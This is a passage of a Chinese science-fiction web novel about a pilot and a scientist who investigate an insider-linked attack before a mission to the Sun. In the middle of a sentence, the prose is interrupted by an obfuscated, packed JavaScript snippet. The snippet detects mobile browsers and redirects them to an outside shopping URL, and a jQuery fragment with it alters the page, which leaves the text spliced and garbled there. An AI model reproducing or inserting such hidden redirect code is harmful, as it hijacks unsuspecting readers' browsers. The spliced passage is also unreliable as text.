祝觉明被加速度死死压在座椅上,他的视野开始模糊,意识像风中残烛般摇曳;在最后的清醒瞬间,他看见怀从咎转过头,朝他喊了句什么。 听不见声音。但他读懂了唇形。 “抓紧——!” 尔后,世界被彻底淹没。 ——— 【模拟结束】 【评估生成中……】 意识回归时,怀从咎发现自己仍坐在训练舱里。头盔自动升起,冰凉的风涌入肺部,他花了三秒钟才确认自己还活着——或者说模拟中的死亡没有造成神经损伤。汗水浸透了作战服的内衬,黏腻地贴在皮肤上;他摘下手套,隔壁舱位传来动静。 祝觉明也坐了起来,动作比他更迟缓些;镜片后的眼睛有些失焦,他左手无意识地按着太阳穴,戒指的蓝光已恢复正常频率,但亮度似乎比训练前暗了一些。 “两位感觉如何?”林静渊的全息影像出现在训练舱中央,脸上带着程式化的关切表情,“神经系统扫描显示无异常。训练数据正在上传,总体评估将于十五分钟后生成。” 怀从咎没理会她。他爬出训练舱,径直走向祝觉明。 “你最后那下,”他开口,声音有些沙哑,“是不是算错了反冲角度?” 祝觉明抬起头,眼神逐渐聚焦。他推正眼镜,沉默了两秒,才回答:“没有算错。冲击波比模型预测强了13.7%,导致飞船的实际偏移超出了安全边界。” “所以如果我们真在那个时候引爆,现在已经死了?” “是的。”祝觉明平静地承认,“尸骨无存。” 怀从咎盯着他,忽然笑了。那笑容里没有多少愉悦,更多的是复杂的释然。 “所以你也不是永远正确,博士。”他似乎想拥抱祝觉明,“你的模型,你的计算,也会出错。” “科学允许误差。”祝觉明站起身,动作有些僵硬,“重要的是从错误中学习,修正模型,提高下一次的精度。” “但如果下一次就是最后一次呢?”怀从咎追问,“如果没有下一次呢?” 祝觉明没有回答。他低头整理着衬衫袖口,将挽起的袖子一寸寸放下,遮住手臂上那些旧伤疤,也遮住了仍在轻微颤抖的手腕。 “你要是实在这么闲,”最终他开口,“跟我去调当时地月轨道袭击的录像。” 怀从咎不解他怎么突然要拉着自己去查这件事,但祝觉明已经转身向自己办公室走去。 ——从基地的广播突然响起开始看。 “所有人员注意:地月轨道实弹演习遭遇不明袭击,演习暂停。安保级别提升至橙色。非战斗人员请停留在当前区域,等待进一步指令。” 怀从咎和祝觉明对视一眼。 “袭击?”怀从咎暂停了录像,“在这个节骨眼上?” “你以为我为什么拉你来查案。”祝觉明抿了口纯净水,“如果是针对逐日计划的干扰,我们需要评估风险。” 两人一下下点过监控,直到指挥中心;走廊里灯火通明,全副武装的士兵在关键通道设立检查点,研究人员抱着数据板匆匆跑过,低声交谈中夹杂着“袭击者”“渗透”“内部漏洞”等字眼。 在他们验第三道安检门时,怀从咎的通讯器响了,是陈启。 “老大!你训练完了?没事吧?” “没事。”怀从咎简短回应,“把整理好的袭击档案发过来,我是说苏持风处理过的。” “一群疯子!开着改装过的旧型号突击舰,直接冲进了演习空域!用的还是——”陈启拉出文件传过去,“用的是和我们内部防御系统同源的技术。聂长官已经下令彻查了,我总觉得有点不对劲。” “袭击者呢?”怀从咎总觉得陈启和祝觉明都在演给他看,“讲实话。” “击溃了大部分,俘虏了几艘。我把清理完战场收集好的残骸技术分析也一起发过去了。”陈启似乎在摁自己密钥,“老大,你们要过来看看吗?有些东西我觉得你该亲眼看看。” “坐标发我。” 怀从咎切断通讯,转头看向祝觉明。 “他要是这么说那我可能得去残骸现场。你要一起,还是回指挥中心?” 祝觉明看了眼个人终端上不断刷新的数据流。 “我需要分析袭击对太阳活动监测网络的干扰程度。你先去,有发现随时同步。” “那我一会去看看,你把密钥扫给我。” 祝觉明点点头,站起来扫了密钥就这样把自己的机子敞给怀从咎;后者看着他走入走廊岔路口,低头朝着机库方向继续调监控、他知道祝觉明要转身走向指挥中心的主通道。 但怀从咎没看见走出几步后祝觉明停下了。 他回头看着怀从咎在转角处看不见的背影,左手无意识地抚过无名指上的戒指;那阵韵律——模拟训练中听到的、与怀从咎灼痕同步的韵律——此刻又在他意识深处隐约响起。 他眉心微蹙,最终什么也没说,转身继续前行。 他其实知道质问谁,现在还不是找郭山错的时候,他得先找苏持风聊聊;至于林静渊,他当然不会蠢到笃信ai,毕竟那是人研究的、而且必定会出现差错。 所以他需要选一个有人性的。 譬如怀从咎。 让那些什么考核审判答辩的见鬼去吧,他权当自己公费度蜜月,怀从咎知道再说。 8. 亚伯拉罕的呼召 残骸散落在近地轨道的一片稀疏垃圾带中。怀从咎穿着宇航服固定在搜救艇的机械臂上,缓缓接近那艘被击毁的袭击者突击舰。 舰体破损严重,舯部被□□开了个大洞、内部结构暴露在真空中,像一具暴尸荒野的金属艳尸;冰晶和凝固的液体附着在断裂的管线边缘,不知道冷却剂还是血,在远方月球反射的微光中泛着诡异的彩色。 “就是这里。”陈启的声音从通讯频道传来,他正在另一艘搜救艇上,“老大,你看左舷那个备用通讯阵列的基座。” 怀从咎操控机械臂靠近。在一片烧焦的电路板残骸中,他看到了陈启所说的东西——一个巴掌大小的黑色模块,半嵌在防护罩的碎片里。模块表面的大部分标识都被刻意磨掉了,但边缘处仍能看到一行极细微的激光刻字。 那是联合政府内部装备的统一编码格式。 怀从咎的心沉了下去。他用机械臂的夹爪小心翼翼地将模块取出,放在搜救艇的样本箱里。透过面罩,他仔细端详着那行编码——虽然缺损了几个字符,但剩下的部分足以让他认出,这属于某个已被归档的“哨兵”防御子系统项目。 而那个项目的最后负责人,是郭山错。 “还有其他发现吗?”他问陈启,“祝觉明把这事给了苏持风……她是负责检察长…官职不管了总之给她很合理;但为什么你都拿到消息了他却没和我讲呢……” “有,但更怪。”陈启的声音有些犹豫,“这些袭击者的舰船……改装得很仓促。有些系统是强行嫁接上去的,接口都不匹配;而且,他们的航行日志被删得一干二净,但我在底层存储器里找到了一些……怎么说呢,像是宗教祷文的碎片。” “祷文?” “嗯。提到什么‘我指着我自己起誓’、‘我从深渊向你呼号’之类的。看起来像极端教派的玩意儿。”陈启把知道的全都告诉了怀从咎,“老大,你觉得这跟逐日计划有关吗?是不是有人不想让我们去太阳?” 怀从咎没有立刻回答。他透过面罩望向远方那颗湛蓝的星球投影,阳光下云层缓缓旋转、大陆轮廓清晰可见。 那么美丽,那么脆弱。 而他们即将驾驶一艘飞船,飞向那颗给予一切生命、也即将夺走一切生命的恒星。 “先回去。”他最终摇头,“把样本交给技术部门分析。记住,这个模块的存在,暂时不要声张。” “明白。” 回程的路上,怀从咎一直沉默。他盯着样本箱里那块黑色模块,思绪翻腾。 内部技术外流?郭山错的部门出了问题?还是说……这一切本就是计划的一部分? “你怎么知道日珥会在那时喷发?” 他想起了训练中祝觉明最后那个问题。 直觉。感觉。 那些无法被计算、却一次次救了他性命的东西。 而现在,他的直觉在告诉他:这块模块,这场袭击,乃至整个逐日计划,都蒙着一层他尚未看透的迷雾。而祝觉明——那个永远冷静、永远理性、永远相信数据的博士——很可能就站在这片迷雾的中央。 他什么都知道,却独独不告诉自己。 那自己…… 是否从一开始,就被他选中? 搜救艇缓缓泊入基地机库。气闸闭合,重力恢复;怀从咎脱下宇航服,将样本箱交给等候的技术员,简单交代了几句、便朝着生活区走去。 他需要一个人静一静,理清思绪。 但在经过中央办公区的长廊时,他停下了脚步。 透过走廊尽头的强化玻璃窗,他能看到祝觉明办公室的门口;灯还亮着,里面的人显然还在工作。 而就在他注视的几秒钟里,办公室的门无声滑开。一个穿着后勤制服的身影闪身进入,动作快得几乎像是错觉。 那人手里似乎拿着一个文件夹,进去后不到十秒便空手出来,迅速消失在走廊另一侧。 怀从咎眯起眼睛。距离太远,他看不清那人的脸,甚至无法确定性别;但那鬼祟的姿态,那种刻意的速度,都透着不正常。 他遥遥看着祝觉明的办公室,他能判断出似乎谁人进入其中,放下什么文件。 尔后灯熄了。 祝觉明从办公室里走出,手里果然多了一个厚厚的档案袋;他没有左右张望,只是径直朝着机密档案室的方向走去,背影在走廊冷白灯光下拉得很长。 怀从咎站在原地,没有跟上去。 他只是看着,直到那个身影也消失在转角。 手中的通讯器震动了一下,是陈启发来的消息:“技术部初步报告出来了,那个模块的编码确实属于已归档项目。但归档权限记录被人为修改过。老大,这事儿水可能很深。” 怀从咎关掉屏幕,抬起头。 走廊天花板的灯光刺得他眼睛发疼。远处,在这一切之下,那颗太阳——那颗他们即将奔赴的、燃烧着的恒星——正在无声地等待着。 等待一场盛大的赴约,或一场华丽的献祭。 而他和祝觉明,究竟是赴约者,还是祭品? 怀从咎不知道答案。 但他知道,在出发之前,他必须找到它。 ——— 指挥中心。 袭击发生后,所有人浸泡在一片冷白色的忙碌里。 这会怀从咎不在,祝觉明又绕回来坐在自己的工作站前,面前是展开的悬浮光屏;左侧八屏实时滚动着太阳活动数据:日冕物质抛射(CME)的主体云团已越过水星轨道,速度较十二小时前提升了3.2%。右侧九屏则显示着地球防御系统的状态——轨道阵列充能进度、大气层折射盾的校准误差、全球地下避难所的预备容量。 所有曲线和数字都在他脑中自动拼接成一张立体动态的危机拓扑图。 所有的防护手段保着地球撑到他们出发,而明日就是“逐日计划”无比盛大的典礼;祝觉明的左手搁在键盘边缘,无名指上的铂金戒指泛着稳定的哑光。抑制器工作正常,背景杂音被压制在-47分贝以下,那是他能够保持绝对专注的阈值。 但专注不等于无知无觉。 当苏持风走进指挥中心时,祝觉明并没有抬头。他的视线仍锁定在光屏上一条异常的谐波频率上——那是太阳风与地球磁场相互作用产生的次级扰动,模型预测它与近日点号的护盾共振频率有0.18%的重叠可能。 很小,但非零。 可他的余光捕捉到了她。 监察长今天穿着深灰色制服,长发没有一丝碎毛的束在脑后;她径直走向总控台,向观照总长和几位高阶将领做袭击后的正式汇报。 声音透过扩音系统传向不在此地的人。 “……综上所述,此次袭击共造成演习舰队两艘护卫舰中度损伤,无人员死亡。袭击者使用的技术经初步分析,与哨兵防御子系统的早期版本高度相似。该子系统已于三年前归档封存,理论上不应流出。” 祝觉明的目光没有离开屏幕,但脑中已调出了关于“哨兵”项目的全部记忆:那是火种计划的前期验证工程之一,旨在测试高能辐射环境下的自适应护盾技术。项目负责人是郭山错,时任联合政府内部安全部技术总监。归档理由是“技术路径被更高效的日冕系统取代”。 理论上不应流出。 苏持风用了“理论上”这个词。很微妙。 “……技术溯源工作已启动,由监察部与安保部联合执行。”她继续汇报,“目前初步判断,袭击者系家庭教会极端分支,其教义中包含对太阳的神化崇拜及对科技文明的抵触。动机可能是破坏逐日计划,为少数精英争取逃亡时间。” 标准的结论。符合公共简报需要的口径。 但祝觉明注意到,苏持风在说这段话时,文件下的手似乎抖了一下;那是她紧张时的微动作,三年前在一次联合听证会上他见过——当时她面对议员关于神经链接实验伦理的质询,给出了完美无瑕的官方答复,但手在桌下同样微微颤抖。 他就在她身后候场,看的一清二楚。 她在隐瞒什么。 或者说她在公开汇报中省略了什么。 汇报持续了十二分钟。苏持风回答了三个技术性问题,提供了四组数据佐证,最后以“将全力追查技术泄露渠道,确保逐日计划安全推进”收尾。观照总长点了点头,没有多问,只是让她将详细报告加密后上传至零级权限数据库。 会议解散。 人群开始流动。 祝觉明关闭了面前的几块光屏,起身准备去实验室核对炸弹触发装置的最终校准数据。 就在他转身的刹那,苏持风与他擦肩而过。 没有眼神交流。没有语言。 但她手中那个深蓝色的加密数据板,在交错而过的瞬间边缘轻轻擦过了他的手腕。 很轻,轻得像偶然。 然后她走向了另一侧的出口,背影很快消失在自动门后。 祝觉明站在原地,低头看向自己的手腕。 那里什么痕迹也没有,只有皮肤表面残留的一点微凉触感——数据板的金属包边带来的凉意。 他的目光移向自己刚刚离开的工作站。 桌面上,除了键盘和全息投影基座,空无一物。但就在基座的右后方,那个通常用来放置临时备忘签的凹槽里,多了一样东西。 一张字条。 “今天下午记得加班。” 这玩意平常的看不出任何额外讯息,仿佛就只是谁遗忘下的提醒自己加班的随手的便签;但祝觉明知道苏持风不是会落东西的人,她或许在暗示自己什么。 不,绝不是超出工作范畴的。 她真想逾越工作违规告诉自己什么,会走他们私人联络的频道;既然加班那就是明晃晃把见面选在联合组织安了不下八百个摄像头的办公室,而且他们高层谁都知道办公室的监控是使用者都关不了。 她想传递什么,但又担忧自己知道了会弄死她? 祝觉明失笑,怎么可能,关于逐日计划的一切秘密高层互通,他知道的她几乎都知道、没必要是什么值得自己灭口的。 祝觉明看向苏持风离开的方向,点点头,走向办公室。 正好,如果怀从咎回来,他有事要问。 推开门时他停了半步。 空气中残留着一丝极淡的香气——不是指挥中心的臭氧味,也不是实验室的化学试剂味,而是很私人化的草本气息的淡香。 苏持风惯用的清新剂。 她很讨厌联合组织工作中那股子外太空的臭氧味儿,不在工作时间她会自己喷点东西盖掉;祝觉明扶着门,调亮灯光。 她来过。 不是刚才在指挥中心擦肩而过的经过,她真正进入过这个空间停留过,也许还触碰了他这里的东西。 其实祝觉明的办公室来来往往访客很多,学生会来递资料、作业等希望向他请教的,同事会来放工作文件、研究材料等他参与的项目进度;上级会来把任务直接搁他桌上,下属汇报也是直接来递东西。 导致他的办公桌已经分了六块,学生一块同事一块上级一块下属一块杂物一块他自己一块。 ……苏持风不想和他见面,所以直接放了东西就走? 祝觉明扫视着房间,一切看起来都和离开时一样:数据板整齐地摆放在桌角,书架上的论文按发表年份排列、窗边的绿植叶片上还挂着上午喷洒的水珠。 办公桌。 他自己那个区域,多了一份文件。 指挥中心的纸质文件早已被淘汰了几十年,所有信息都在数据流中传输、存储、加密;纸质意味着不可追踪、不可复制、不可被篡改。 即使有往他这递东西的也是移动盘或需要存档的。 那也意味着,有人希望这份信息,只被特定的人看见。 祝觉明坐回座位,右手自然地搭在键盘上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174313|196873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左手则伸向那个文件夹;他的动作像在处理一件普通的实验记录,文件夹里面只有三页纸,首页是标准的内部风险简报格式,标题是《关于“哨兵”系统技术路径残留风险的初步评估》。 署名处空着,日期也空着。 祝觉明快速浏览正文。内容与苏持风刚才的公开汇报大体一致,但多了几个细节: 第一,哨兵系统的物理原型机并未按规程销毁,而是移交至“内部安保技术档案馆”封存。 移交记录上的授权签字人是郭山错。 第二,档案馆在过去十八个月内有三次非常规访问记录,访问者身份被高级别权限屏蔽,但系统日志残留的终端编码指向“月球背面深空观测阵列附属技术中心”——那是郭山错目前主管的部门之一。 第三,袭击者使用的改装突击舰上,检测到了哨兵系统特有的能量谐振特征。这种特征并非单纯的技术复制可以模仿,它需要接触到核心谐振器的物理模板。 三页纸,冷静客观的文字,像一份纯粹的技术分析。 但祝觉明的目光停在第三页的右下角。 那里有一个折痕。 谁人刻意折起又展平后留下,这绝不是无意压出是褶皱。折起时,那个尖角恰好指向正文中的一段话: “……综上,技术泄露的路径高度可能涉及归档管理程序的内部漏洞,建议彻查相关责任部门(见附件1:归档流程权限树状图)。” 而在打印出的树状图复印件上,那个被折角暗示的节点,正是“郭山错——内部安保技术总监——哨兵项目归档审批人”。 祝觉明合上文件夹,身体向后靠进椅背。他的眼睛闭上,隔绝了指挥中心的灯光和屏幕,只留下意识深处的黑暗和流淌的数据。 苏持风为什么要这么做? 作为监察长,她完全可以通过正式渠道提交这份简报——即使涉及郭山错这样的高阶官员,零级权限也足以保护信息的安全。她选择用纸质文件私下传递,只意味着一件事:她不信任正式渠道。 或者更准确地说,她不信任这套渠道所经过的某些节点。 她是知道这大计划是一场演给回归派看、演给民众看、甚至演给那个虚无缥缈的“观测者”看的戏的。 郭山错?有可能。作为安保与执行总长,他有权监控大部分内部通讯。但观照总长呢?苏持风是直接向总长汇报的,如果连观照都不信任…… 祝觉明的左手无意识地转动着戒指。金属表面与皮肤摩擦,带来一丝疼痛的清醒。 戒指的蓝光平稳如常,但只有他自己知道,在他触碰到纸张边缘的瞬间,抑制器的温度上升了些许、背景杂音也出现了微弱的峰值。跟太阳活动无关,更近的波动在提醒他作为人的情感;他想起了三天前的一次非正式会议。观照总长在提到“计划需要绝对的内部纯净性”时,目光曾短暂地扫过郭山错。那眼神像棋手看着棋盘上一枚注定要牺牲的棋子,与其说是放弃不如说是淡漠的惋惜。 当时祝觉明以为那是自己的错觉。 现在他不确定了。 文件夹里的信息,苏持风传递的暗示,怀从咎在袭击残骸中发现的内部编码模块……所有这些碎片,正在他脑中拼凑出一个模糊的轮廓。 这不是简单的技术泄露,也不是极端教派的偶然袭击。 这是一场被默许、甚至被引导的测试。 测试什么? 测试内部系统的反应速度?测试怀从咎在突发危机下的直觉判断?还是测试……他祝觉明,在得知计划可能被内部人员干扰时,会如何计算、如何选择? 他睁开眼,重新看向桌面上的文件夹。 纸张在冷光下泛着柔和的米白色,边缘整齐,没有任何多余标记。它安静地躺在那里,像一个被遗弃的密码,等待着被解读,或者被销毁。 祝觉明伸出手,将三页纸从文件夹中取出,平铺在桌面上。然后他调出个人终端的扫描功能,将每一页转换成加密数据流,存入一个只有他自己知道访问路径的离线存储核心里。 做完这一切,他拿起纸质原件起身走向角落的销毁机。那是一个小型的高温离子化装置,能将任何物质在瞬间分解成基本粒子,不留下任何可复原的残渣。 他站在销毁机前,停顿了三秒。 这三秒里,他脑中快速演算了千万可能性: 如果保留原件,作为未来对峙的证据——风险在于可能被反侦察手段探测到,且苏持风既然选择纸质传递,必然期望他销毁。 如果假装从未收到,保持沉默——最安全,但意味着无视苏持风传递的警告,也可能错过关键信息。 如果将信息暗中传递给怀从咎——不可控变量太大,怀从咎的直觉可能引发计划外的连锁反应。 如果直接向观照总长询问——那等于暴露苏持风的私下行动,可能将她置于险境,且无法预测总长的真实态度。 条条路径在意识的黑暗空间中延伸、分叉、碰撞,每条路径末端都悬挂着概率数字,以及一串可能的结果。 最终,他选择了信任自己。 祝觉明将三页纸叠好,重新放回文件夹,但没有将其销毁;他拿着它转身走向办公室另一侧的物理档案临时保管处。那是一个很少被使用的功能区,存放着一些因特殊原因无法电子化的陈旧图纸、手写笔记和实体样本。 他找到管理员——一个年迈的虚拟技术员,正在打瞌睡——平静的像又甩来一份作业:“监察部转交的临时归档件,编号Z-1073。按规程保管,存取记录录入非联网日志。” 老技术员迷迷糊糊地接过文件夹,看了眼编号,嘟囔了一句“又是纸质啊”,便将其塞进一个标着“待处理”的金属柜里,在旁边的纸质日志本上潦草地记了一笔。 整个过程不到两分钟。没有电子记录,没有权限验证,只有一个半睡半醒的ai见证者和一本随时可能被丢弃的旧本子。 9. 人类庆贺时 这个ai是他们研究拟人化时年龄阈值过线的产品,所有研究员一力要将其销毁、唯有祝觉明坚持留下他,理由是观察衰老的生命流。 祝觉明离开保管处回到自己的工作站,他调出刚才扫描的电子版,开始进行更深层的分析。 从文字内容,到文件本身。 他放大扫描图像,调整对比度,检查纸张的纤维纹理、墨粉分布、折痕的微观形态……很快,他发现了两个细节: 第一,纸张是联合政府内部专用的安全纸,每张都有唯一的隐形水印。他破解水印编码,确认这批纸的生产批次是三年前,正是哨兵项目归档的时期; 第二,第三页那个折痕的尖角处,有极细微的、肉眼几乎不可见的压痕。他用图像增强算法还原,发现那是一个被反复折叠又展开形成的微小三角形区域,边缘有轻微的墨粉剥落。 而剥落的形状,隐约像一个箭头。 箭头指向的,不是正文中的郭山错部门,而是页脚处一行几乎被忽略的小字:“本简报基于技术监察员苏持风的独立调查,未经过滤或修正。” 独立调查。未经过滤。 祝觉明靠在椅背上,长长地、无声地呼出一口气。 他明白了。 苏持风不是在告诉他“郭山错有问题”。她是在告诉他:这份简报是她个人调查的结果,没有经过上级审批,也没有被系统过滤。 换句话说,这是原始真相,不是被许可的真相。 而她把这份真相交给他,是因为她知道——或者相信——祝觉明有能力处理它,且不会轻易被它动摇。 又或者,她是在试探。试探祝觉明究竟站在哪一边:是站在计划的设计者、理性的计算者一边,还是站在更模糊而人性的立场上。 戒指的温度似乎又有,背景杂音中出现了一段短暂有规律的谐波,频率与苏持风声音的基频吻合。 那是她残留的情绪波动吗? 紧张?决绝?还是深藏的恐惧? 祝觉明关闭了分析界面,清除了所有临时数据。他重新打开太阳活动监控屏,让滚动的数字和曲线重新占据视野。 理性告诉他:苏持风的行动增加了计划的不确定性,是潜在的干扰变量;他应该报告这件事,至少应该提高对她的监控等级。 但更深层更接近计算伦理的什么在阻止他这样做,苏持风动摇了,也传播了变数;她的行动本该是计划预期的一部分,但现在也许她动摇的方向超出了设计者的预料。 而祝觉明自己作为计划的核心架构师,他的职责是确保一切变量可控,而不是消灭所有变量。 可控。 他咀嚼着这个词,目光落在监控屏上那条代表CME前沿的红色曲线上。 它正在稳定地、不可阻挡地逼近地球轨道。 就像时间流淌。 他最终什么也没有做。没有报告,没有进一步调查,甚至没有再看向物理档案保管处一眼。 他只是坐在那里,继续工作、继续计算,继续为一场既定的奔赴准备着最后的参数。 只是在意识的隐秘角落里,那份简报的内容、那个折痕的形状……所有的那些都被小心翼翼地归档、贴上标签,然后锁进思维深处,就像锁进那个金属柜里的纸质文件夹。 等待未来的时刻,当风再次吹动时,再将其取出。 或者,永远不再取出。 ——— 有风吹过,祝觉明睁开眼,总长的呼唤恰好落下。 “你醒一醒,这是台上。” “我知道。” 那时自己抬起左手,看着无名指上的戒指;抑制器工作正常,杂音被压制、理性稳固如初。 就在那一瞬间,他做出了一个决定。 一个没有被写入任何模型、没有被计算过概率、纯粹基于当下判断的决定。 他转身走向书桌,打开最上层的抽屉,取出一本空白笔记本。然后用最普通的笔,在扉页上写下一行字: “……” 写完后,他将那一页纸撕下,折成一个小方块,塞进了电脑桌下方的卡槽里——那里原本放着抽屉钥匙,现在钥匙被他取出放进了口袋。 纸方块卡进卡槽的瞬间,戒指的蓝光微弱地闪烁了一下,频率改变了。 从稳定的抑制模式,切换到了记录模式。 从现在起,这枚戒指将不再仅仅屏蔽杂音。 它还会记录所有异常的波动,所有计划外的接触,所有风吹过的痕迹。 祝觉明将戒指重新戴好,整理了一下衬衫袖口,然后平静地坐下开始处理下一批数据。 就像什么也没有发生。 就像一切都在计算之中。 只有窗外虚拟的星空,还在无声地旋转; 等待着真正的太阳,等待着奔赴,等待着在炽热中揭开的所有真相,或谎言。 所以现在他来奔赴。 那时他的落在书桌右侧的第二个抽屉上,那个抽屉通常锁着,里面放着他的一些私人物品:已故导师留下的手写笔记、几枚旧奖章、还有一块早已停摆的机械表。 钥匙只有一把,在他电脑桌的内侧卡槽里。 此刻,抽屉的锁孔边缘,有一道极其细微的划痕。 新划痕。 金属表面原本的氧化层被刮掉了薄薄一丝,在昏暗光线下泛着与其他区域不同的哑光。 有人试图打开这个抽屉,或者至少检查过它。 祝觉明站在原地一动不动,他的呼吸平稳,心率稳定,连戒指的蓝光都没有丝毫波动。 但在他意识的黑暗深处,一场风暴正在无声地成形。 苏持风不仅传递了信息。 她还来验证了什么。验证他是否收到了信息?验证他是否隐藏了其他秘密?还是说她在找什么东西? 不,不是苏持风。 他们合作太久了,她知道他这个抽屉打不开; 那么就只有一种可能,谁不熟悉他,但想试探他。 ——怀从咎。 他们认识的时间极其短暂,怀从咎不知道他抽屉里都是什么。 他没有去碰抽屉,也没有检查房间里的其他物品。他只是走到窗边看着外面地下基地模拟出的夜色——其实永远是人工照明营造的昏暗模式,但设计者很贴心地在天花板投影出了缓慢移动的星图。 一颗虚拟的流星划过虚拟的夜空。 现在他要与怀从咎去往真实无比、浩瀚盛大的夜空。 逐日出征,就在眼前。 地球像一颗过度兴奋的心脏,仿佛不知现在是最后一夜,在黑暗中泵出光与声的洪流;自两极至赤道,每一座城市都浸泡在庆典的金色里,全息焰火在平流层绽开、模拟出太阳日珥的形态,却又驯服成无害的绚烂。歌声透过千万个扬声器汇成海洋,祈祷的祝词与狂欢的呼喊在电离层下反复回响。 所有这些喧嚣,在抵达地下两千六百米的发射准备区时,都衰减成模糊的底噪。 怀从咎站在整备平台的边缘,仰头望着上方模拟出的星空穹顶。投影的星辰缓慢旋转,每一颗都标着学名和距离,如此乏味;他锁骨那道灼痕此刻安静地蛰伏在皮肤下,只在他呼吸起伏时透出极淡的暖意,像一块嵌入身体的、不会冷却的炭。 “舰船最终自检完毕。” 祝觉明的声音从身后传来,平稳得像在宣读实验数据。怀从咎没有回头,他知道祝觉明一定穿着那身合身的深蓝色航行服,左手无名指的铂金戒指在冷光灯下泛着哑光、袖口挽到小臂中段,露出旧伤疤和清晰的手腕骨节。 “陈启那边呢?”怀从咎没有看他,“我们出发后三个小时,他跟得上吗?” “辅助舰群已进入预定轨道。人员共二百四十七名,生命体征全部稳定。”祝觉明走到他身侧,同样抬头望向虚假的星空,“发射流程启动后七小时我们乘引路者号穿梭机与主舰汇合,再共同进入加速轨道。” “引路者。”怀从咎重复这个名字,似乎是笑了一下,“谁起的?听起来像送葬队伍最前面捧照片的那个。” “公关部的建议。象征意义大于实际。”祝觉明推了推眼镜,“民众需要容易理解、富有诗意的符号。” “民众。”怀从咎终于转头看他,“那些在广场上欢呼的人,知道这艘引路者里面装的炸弹当量,足够把他们的城市从地图上抹掉千万次吗?” 祝觉明沉默了两秒。 “他们知道我们在执行任务。”他最终叹了口气,“细节出于安全考虑不予公开。这是标准流程。” “标准流程。”怀从咎点点头,转回去继续看星星,“就像袭击事件的调查报告也是标准流程?就像哨兵系统的技术泄露,查了三天得出结论是归档环节存在管理疏漏,已对相关责任人进行纪律处分——也是标准流程?” 他甚至没有质问的意思,祝觉明的左手微微动了一下,戒指表面掠过一道极短促的蓝光,快得像错觉。 “监察部的调查有完整记录。”他搂着怀从咎的肩,“如果你对结论有疑问,可以申请调阅加密卷宗。” “不用了。”怀从咎笑了笑,“我就随便问问。” 两人之间陷入一阵短暂的寂静。只有通风系统的低鸣、远处工程师调试设备的工具声响、以及穹顶星辰投影仪运转时几乎听不见的电机轰隆。 怀从咎知道祝觉明在等什么——等他追问,等他质询,等他捅破那层两人心照不宣的窗户纸。关于那个出现在祝觉明办公室门口的鬼祟身影,关于那份可能存在的、未被公开的内部报告,关于怀从咎自己在袭击残骸中发现的、刻着内部编码的黑色模块…… 但他没有问。 就像祝觉明也没有问他:三天前的深夜,你为什么会出现在我办公室外的走廊?为什么停留了那样久?又为什么在离开时,非要擦过门框边缘留下印记? 他们都选择了沉默。 让那些疑虑、证据、未说出口的猜测……都沉进意识的深水区,像炸弹沉入海底。 表面上水波平静,但暗流早已汹涌成滚滚洪流。 祝觉明想起上台之前,自己和怀从咎的对话。 “该做最后准备了。”祝觉明低头看了眼手腕上内置的数据板,“一小时后,我们要在中央广场亮相。演讲稿背熟了吗?” “需要背吗?”怀从咎伸了个懒腰,关节发出轻微的噼啪声,“不就是为了人类,为了未来,我们勇往直前那一套?我会随机应变的。” “随机应变也要符合基础框架。”祝觉明转身朝更衣室走去,“总长办公室刚刚发来了情绪引导要点。希望我们表现出谨慎的乐观与坚定的决心,避免过度悲壮或轻浮。” “谨慎的乐观。”怀从咎跟在他身后,重复这个词组,笑声短促,“都快去炸太阳了,还要怎么谨慎?穿着防护服、拿着遥控器、站得远远地按按钮?” 祝觉明没有接话。他推开更衣室的门,里面已经挂好了两套作训服——深黑色,剪裁利落,左胸佩着联合政府的徽章,肩部有象征近日点计划的日冕纹饰。旁边还放着两枚微型全息投影器,用于在演讲时生成辅助视觉效果。 “穿这个飞飞船?”怀从咎拎起外套,料子顺滑沉重,“动作大点会不会撕了?” “只在典礼上穿。进入穿梭机后换成航行服。”祝觉明已经开始解自己身上那件工作服的纽扣,“动作快,化妆师和形象顾问已经在等了。” “形象顾问。”怀从咎摇头,但还是开始换衣服,“我们到底是去当英雄,还是去拍电影?” “两者都是。”祝觉明扣好最后一颗纽扣,对着墙面的反光整理领口。镜中的他看起来比平日更苍白,眼镜片后的眼睛平静无波,像两口封冻的深井。 怀从咎也换好了。作训服意外地合身,衬得他肩线平直,腰身收束,那道锁骨灼痕被高领设计完全遮住。他对着镜子转了转脖子,皱眉:“领子太紧。” “忍一忍。”祝觉明说, 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那他现在算什么?一个装了人体测不准仪器的飞行员?一个用来填补模型误差的活体修正系数? “怀指挥官,请睁眼。”化妆师轻声提醒。 怀从咎睁开眼,看见镜中的自己——面部线条被光影修饰得更加分明,眼神经过细微的眼妆调整,显得明亮而坚定。 标准的英雄形象,像从宣传海报里走出来的。 他旁边祝觉明也已经打理完毕。眼镜换成了更轻薄的演讲专用款,镜片在灯光下几乎隐形,让人能更清楚地看见他眼睛的形状。 那双眼睛此刻正平静地注视着镜子,像从未好好观察过自己。 “很好。”首席形象顾问退后两步,满意地点头,“两位请记住:登上演讲台时,步伐保持同步,间距一点二米。祝博士先发言,怀指挥官在博士提到勇气与担当时向前半步,目光望向远方——导演会在耳麦里提示。最后的挥手动作要同时进行,幅度保持一致。” “知道了。”怀从咎一听一滑,“我们又不是演员。” “情绪保持饱满,但不要过度。想象你们面前是全体人类的期待,是人类文明延续的火种。” “火种。”怀从咎重复这个词,笑了笑,“明白。” 团队退出,更衣室里再次剩下他们两人。 祝觉明低头调整着袖扣,忽然开口:“刚才那些指导,不必全部照做。” 怀从咎看向他。 “自然状态就好。”祝觉明抬起头,镜片后的目光与他在镜中对上,“过度表演反而显得虚假。民众能分辨出来。” “你还研究过这个?” “观察结论。”祝觉明转身朝门口走去,“人类对真实情感的共鸣强度,平均比刻意表演高出34%。即使在不知情的情况下。” 怀从咎跟上去:“所以你平时那些冷静的样子,是真实的还是表演的?” 祝觉明在门口停顿了一下。 “都是真实的。”他没有回头,“理性选择也是一种真实。” 然后他推开了门。 ——— 中央广场已经不能叫广场了。 